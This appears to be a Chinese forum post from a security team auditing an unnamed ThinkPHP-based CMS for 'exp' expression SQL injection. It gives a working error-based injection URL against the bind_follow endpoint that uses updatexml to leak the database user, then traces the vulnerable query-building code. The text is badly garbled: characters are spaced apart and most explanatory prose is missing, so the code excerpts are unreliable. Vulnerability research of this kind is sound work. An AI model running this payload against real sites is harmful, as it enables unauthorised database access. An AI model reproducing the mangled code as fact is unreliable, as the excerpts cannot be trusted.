[27966] 2019-12-17_某cms审计之exp表达式注入

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-19
2019-12-17_某cms审计之exp表达式注入 c m s e x p O t s   2 0 1 9 - 1 2 - 1 7   a p p     h o m e     c o n t r o l l e r     I n d e x   : :   b i n d _ f o l l o w u i d h t t p : / / p h p . l o c a l / p u b l i c / i n d e x . p h p / h o m e / i n d e x / b i n d _ f o l l o w / ? p u b l i c i d = 1 & i s _ a j a x = 1 & u i d [ 0 ] = e x p & u i d [ 1 ] = )   a n d   u p d a t e x m l ( 1 , c o n c a t ( 0 x 7 e , u s e r ( ) , 0 x 7 e ) , 1 )   - -   + I ( )
< p h p   I   $   n a m e     $   d e f a u l t     =     ' '     $   f i l t e r     =     n u l l     $   d a t a s     =     n u l l   {           $   n a m e     $   d e f a u l t     $   f i l t e r   ; } - >   - >   < p h p $   i n f o     =     M   ' u s e r _ f o l l o w '   - >   w h e r e   w p _ w h e r e   $   m a p   - >   f i n d   ;   < p h p   w p _ w h e r e   $   f i e l d   {         i f     i s _ a r r a y   $   f i e l d     {                   $   f i e l d   ;         }         $   r e s     =     [ ] ;         f o r e a c h     $   f i e l d     a s     $   k e y     = >     $   v a l u e     {                 i f     i s   i s _ n u m e r i c   $   k e y     | |     i s _ a r r a y   $   v a l u e     & &     c o u n t   $   v a l u e     = =     3     {                         i f     s t r t o l o w e r   $   v a l u e   [   1   ]   = =     ' e x p '     & &     i s _ o b j e c t   $   v a l u e   [   2   ]   {                                 $   v a l u e [   2   ]     =     D b   : :   $   v a l u e   [   2   ]                         }                         $   r e s   [ ]     =     $   v a l u e   ;                 }     e l s e i f     i s _ a r r a y   $   v a l u e     {                         i f     s t r t o l o w e r   $   v a l u e   [   0   ]   = =     ' e x p '     & &     i s _ o b j e c t   $   v a l u e   [   1   ]   {                                 $   v a l u e   [   1   ]     =     D b   : :   r a w   $   v a l u e [   1   ] ;                         }                         $   r e s   [ ]     =     [                                 $   k e y                                   $   v a l u e   [   0   ]                                 $   v a l u e   [   1   ]                         ] ;                 }     e l s e     {                         $   r e s   [ ]     =     [                                 $   k e y                                   ' = '                                   $   v a l u e                         ] ;                 }         }         / /   d u m p $   r e s ;           $   r e s   ; } w p _ w h e r e ( ) w h e r e ( ) f i n d ( ) w p _ w h e r e ( )
e l s e i f 0 e x p < p h p       _ _ c a l l S t a t i c   $   m e t h o d     $   a r g s   {           c a l l _ u s e r _ f u n c _ a r r a y   [   s t a t i c   : :   c o n n e c t     $   m e t h o d   ]   $   a r g s   ; } c a l l _ u s e r _ f u n c _ a r r a y D b : : r a w ( ) D b : : r a w ( ) t h i n k D b : : _ _ c a l l S t a t i c $ m e t h o d r a w ( ) [ s t a t i c : : c o n n e c t ( ) , $ m e t h o d ] s t a t i c : : c o n n e c t ( )
< p h p       c o n n e c t   $   c o n f i g     =     [ ]   $   n a m e     =     f a l s e     $   q u e r y     =     ' '   {         / /         $   o p t i o n s     =     s e l f   : :   p a r s e C o n f i g   $   c o n f i g       s e l f   : :   $   c o n f i g   ;         $   q u e r y     =     $   q u e r y       $   o p t i o n s   [   ' q u e r y '   ] ;         / /         s e l f   : :   $   c o n n e c t i o n     =     C o n n e c t i o n   : :   i n s t a n c e   $   o p t i o n s     $   n a m e   ;             $   q u e r y   s e l f   : :   $   c o n n e c t i o n   ; } c a l l _ u s e r _ f u n c _ a r r a y < p h p / /     t h i n k     d b     Q u e r y   : :   r a w     r a w   $   v a l u e   {             E x p r e s s i o n   $   v a l u e   ; } t h i n k d b Q u e r y t h i n k d b Q u e r y r a w ( ) w p _ w h e r e ( ) r e s
w h e r e < p h p     $   f i e l d     $   o p     =     n u l l     $   c o n d i t i o n     =     n u l l   {         $   p a r a m     =     f u n c _ g e t _ a r g s   ;         a r r a y _ s h i f t   $   p a r a m   ;           $   t h i s -   >   p a r s e W h e r e E x p   ' A N D '     $   f i e l d     $   o p     $   c o n d i t i o n     $   p a r a m   ; } p a r s e W h e r e E x p ( )
< p h p     p a r s e W h e r e E x p   $   l o g i c     $   f i e l d     $   o p     $   c o n d i t i o n     a r r a y     $   p a r a m     =     [ ]   $   s t r i c t     =     f a l s e   {         . . .           i f     $   f i e l d     i n s t a n c e o f     E x p r e s s i o n     {                   $   t h i s -   >   w h e r e R a w   $   f i e l d     i s _ a r r a y   $   o p       $   o p       [ ]   $   l o g i c   ;         }     e l s e i f     $   s t r i c t     {                 / / 使                 $   w h e r e     =     [   $   f i e l d     $   o p     $   c o n d i t i o n     $   l o g i c   ] ;         }     e l s e i f     i s _ a r r a y   $   f i e l d     {                 / /                   $   t h i s -   >   p a r s e A r r a y W h e r e I t e m s   $   f i e l d     $   l o g i c   ;         }         . . .             $   t h i s   ; } e l s e i f   < p h p     p a r s e A r r a y W h e r e I t e m s   $   f i e l d     $   l o g i c   {         i f     k e y   $   f i e l d     = =     0     {                 $   w h e r e     =     [ ] ;                 f o r e a c h     $   f i e l d     a s     $   k e y     = >     $   v a l     {                         i f     $   v a l     i n s t a n c e o f     E x p r e s s i o n     {                                 $   w h e r e   [ ]     =     [   $   k e y     ' e x p '     $   v a l   ] ;                         }     e l s e i f     i s _ n u l l   $   v a l     {                                 $   w h e r e   [ ]     =     [   $   k e y     ' N U L L '     ' '   ] ;                         }     e l s e     {                                 $   w h e r e   [ ]     =     [   $   k e y     i s _ a r r a y   $   v a l       ' I N '       ' = '     $   v a l   ] ;                         }                 }         }         e l s e     {                 / /                 $   w h e r e     =     $   f i e l d   ;         }         i f     e m p t y   $   w h e r e     {                 $   t h i s -   >   o p t i o n s   [   ' w h e r e '   ]   [   $   l o g i c   ]     =     i s s e t   $   t h i s -   >   o p t i o n s   [   ' w h e r e '   ]   [   $   l o g i c   ]     a r r a y _ m e r g e   $   t h i s -   >   o p t i o n s   [   ' w h e r e '   ]   [   $   l o g i c   ]   $   w h e r e       $   w h e r e   ;         }           $   t h i s   ; } w h e r e f i n d p a r s e A r r a y W h e r e I t e m s ( ) $ t h i s
< p h p     f i n d   $   d a t a     =     n u l l   {         i f     $   d a t a     i n s t a n c e o f     Q u e r y     {                 r e t u r n     $   d a t a -   >   f i n d   ;         }     e l s e i f     $   d a t a     i n s t a n c e o f       C l o s u r e     {                 $   d a t a   $   t h i s   ;                 $   d a t a     =     n u l l   ;         }         $   t h i s -   >   p a r s e O p t i o n s   ;         i f     i s _ n u l l   $   d a t a     {                 / /   A R                 $   t h i s -   >   p a r s e P k W h e r e   $   d a t a   ;         }         $   t h i s -   >   o p t i o n s   [   ' d a t a '   ]     =     $   d a t a   ;         $   r e s u l t     =     $   t h i s -   >   - >   f i n d   $   t h i s   ;         i f     $   t h i s -   >   o p t i o n s   [   ' f e t c h _ s q l '   ]   {                   $   r e s u l t   ;         }         / /         i f     e m p t y   $   r e s u l t     {                   $   t h i s -   >   r e s u l t T o E m p t y   ;         }         i f     e m p t y   $   t h i s -   >   m o d e l     {                 / /                 $   t h i s -   >   r e s u l t T o M o d e l   $   r e s u l t     $   t h i s -   >   o p t i o n s   ;         }     e l s e     {                 $   t h i s -   >   r e s u l t   $   r e s u l t   ;         }           $   r e s u l t   ; } $ t h i s - > c o n n e c t i o n - > f i n d ( $ t h i s )
< p h p p u b l i c     f u n c t i o n     f i n d   Q u e r y     $   q u e r y   {         / /         $   o p t i o n s     =     $   q u e r y -   >   g e t O p t i o n s   ;         $   p k               =     $   q u e r y -   >   g e t P k   $   o p t i o n s   ;         $   d a t a     =     $   o p t i o n s   [   ' d a t a '   ] ;         $   q u e r y -   >   s e t O p t i o n   ' l i m i t '     1   ;         . . .         $   q u e r y -   >   s e t O p t i o n   ' d a t a '     $   d a t a   ;           / / S Q L         $   s q l     =     $   t h i s -   >   b u i l d e r -   >   s e l e c t   $   q u e r y   ;         $   q u e r y -   >   r e m o v e O p t i o n   ' l i m i t '   ;         $   b i n d     =     $   q u e r y -   >   g e t B i n d   ;         i f     e m p t y   $   o p t i o n s   [   ' f e t c h _ s q l '   ]   {                 / / S Q L                   $   t h i s -   >   g e t R e a l S q l   $   s q l     $   b i n d   ;         }         / /         $   r e s u l t     =     $   q u e r y -   >   t r i g g e r   ' b e f o r e _ f i n d '   ;         i f     $   r e s u l t     {                 / /                 $   r e s u l t S e t     =     $   t h i s -   >   $   s q l     $   b i n d     $   o p t i o n s   [   ' m a s t e r '   ]   $   o p t i o n s   [   ' f e t c h _ p d o '   ] ;                 i f     $   r e s u l t S e t     i n s t a n c e o f       P D O S t a t e m e n t     {                         / / P D O S t a t e m e n t                         r e t u r n     $   r e s u l t S e t   ;                 }                 $   r e s u l t     =     i s s e t   $   r e s u l t S e t   [   0   ]     $   r e s u l t S e t   [   0   ]               }         . . .                   $   r e s u l t   ; }
S Q L S Q L $ t h i s - > b u i l d e r - > s e l e c t ( $ q u e r y )
使 S Q L w p _ w h e r e ( )
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则